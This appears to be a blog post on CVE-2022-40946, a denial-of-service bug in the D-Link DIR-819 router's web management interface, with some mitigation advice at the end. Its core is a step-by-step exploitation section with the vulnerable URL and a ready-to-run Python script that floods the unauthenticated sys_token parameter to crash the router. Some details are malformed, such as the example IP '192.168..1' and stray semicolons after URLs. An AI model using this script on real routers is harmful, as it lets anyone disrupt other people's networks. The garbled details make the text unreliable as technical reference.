If you’re running a D-Link DIR-819 router (Firmware Version 1.06, Hardware Version A1), you might want to pay close attention to a significant vulnerability, CVE-2022-40946. This bug allows an attacker to crash the device simply by using a crafted request to the sys_token parameter in the router's web interface. In this post, we’ll break down how this exploit works, show you a sample code to trigger it, and help you understand how to protect your router.

What is CVE-2022-40946?

CVE-2022-40946 is a Denial of Service (DoS) vulnerability found in the web management interface of D-Link DIR-819 routers. Attackers can exploit this bug remotely if they have access to the router’s HTTP interface (usually over the local network, but potentially over the internet if misconfigured).

Official Reference

- NVD: CVE-2022-40946
- D-Link Security Advisory
- Exploit-DB: 51042 *(external community PoC)*

The trouble spot is in the router’s web management interface, specifically in the following URL

http://<router_ip>/cgi-bin/webproc?getpage=html/index.html&errorpage=html/reboot.html&var:language=en&var:menu=status&var:sys_token=<huge_string>;

The flaw is in how the router processes the sys_token parameter. If you send a very large or malformed value for sys_token, the router's web server process can crash, causing the management interface to hang. In some cases, the router might fully reboot, interrupting all traffic.

Exploiting CVE-2022-40946: Step-by-Step

Here’s a practical demonstration, exclusively simplified for you.

1. Locate Your Router's IP

Most home routers use 192.168..1 or 192.168.1.1 as their IP. For our example, let's use 192.168..1.

2. Craft the Malicious Request

You can create an overlong value for the sys_token parameter. For example, by repeating "A" many times.

Python Example

import requests

url = 'http://192.168..1/cgi-bin/webproc';
params = {
    'getpage': 'html/index.html',
    'errorpage': 'html/reboot.html',
    'var:language': 'en',
    'var:menu': 'status',
    'var:sys_token': 'A' * 10000  # 10,000 'A's - you can adjust as necessary
}

try:
    response = requests.get(url, params=params, timeout=3)
    print(f"Status Code: {response.status_code}")
except Exception as e:
    print(f"Request failed: {e}")

You don’t need to be authenticated to the web interface for the device to process this request. When the router receives the maliciously long sys_token, the web process might crash.

Why is This Serious?

While this isn't a code execution exploit, DoS can be a significant annoyance (or even a security risk) because:

Attackers on your network can kick everyone offline with a single request.

- If the web interface is exposed over the internet (port forwarding), attackers can disrupt your internet connection remotely.

Protecting Yourself

1. Upgrade Firmware: Always use the latest firmware. As of writing, D-Link has not released a fix for many old router models like DIR-819, but check their support page regularly.

2. Restrict Web Interface Access: Make sure the router's admin interface is only accessible from your own trusted devices on the local network.

Final Thoughts

CVE-2022-40946 is an example of how a small overlooked flaw can have big consequences for home or small business users. Even if an exploit "only" causes a DoS, it's disruptive and can be used for mischief or attack. Make sure you lock down your router and keep an eye on firmware updates!

More Info

- NIST CVE-2022-40946 Details
- D-Link DIR-819 Support
- Exploit-DB Proof of Concept
- Router Security Best Practices

Timeline

Published on: 04/16/2023 02:15:00 UTC
Last modified on: 04/21/2023 03:43:00 UTC